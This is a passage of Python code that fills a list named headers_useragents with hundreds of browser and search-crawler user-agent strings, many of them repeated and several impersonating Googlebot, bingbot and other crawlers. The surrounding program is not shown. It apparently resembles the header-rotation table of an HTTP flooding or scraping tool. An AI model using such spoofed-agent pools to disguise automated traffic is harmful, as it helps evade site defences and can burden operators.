  2744.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2745.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2746.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2747.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2748.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2749.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2750.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2751.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2752.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2753.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2754.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2755.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2756.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2757.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2758.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2759.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2760.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2761.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2762.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2763.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2764.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2765.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2766.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2767.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2768.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2769.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2770.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2771.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2772.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2773.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2774.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2775.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2776.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2777.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2778.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2779.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2780.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2781.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2782.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2783.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2784.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2785.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2786.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2787.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2788.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2789.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2790.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2791.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2792.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2793.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2794.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2795.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2796.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2797.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2798.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2799.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2800.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2801.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2802.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2803.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2804.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2805.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2806.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2807.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2808.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2809.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2810.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2811.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2812.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2813.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2814.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2815.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2816.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2817.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2818.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2819.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2820.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2821.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2822.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2823.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2824.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2825.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2826.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2827.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2828.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2829.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2830.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2831.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2832.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2833.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2834.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2835.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2836.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2837.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2838.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2839.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2840.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2841.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2842.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2843.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2844.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2845.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2846.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2847.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2848.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2849.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2850.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2851.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2852.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2853.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2854.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2855.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2856.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2857.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2858.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2859.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2860.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2861.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2862.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2863.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2864.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2865.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2866.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2867.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2868.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2869.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2870.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2871.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2872.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2873.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2874.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2875.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2876.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2877.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2878.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2879.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2880.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2881.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2882.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2883.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2884.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2885.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2886.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2887.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2888.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2889.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2890.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2891.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2892.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2893.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2894.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2895.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2896.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2897.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2898.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2899.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2900.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2901.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2902.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2903.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2904.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2905.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2906.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2907.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2908.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2909.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2910.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2911.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2912.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2913.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2914.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2915.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2916.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2917.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2918.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2919.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2920.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2921.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2922.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2923.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2924.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2925.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2926.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2927.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2928.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2929.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2930.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2931.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2932.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2933.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2934.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2935.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
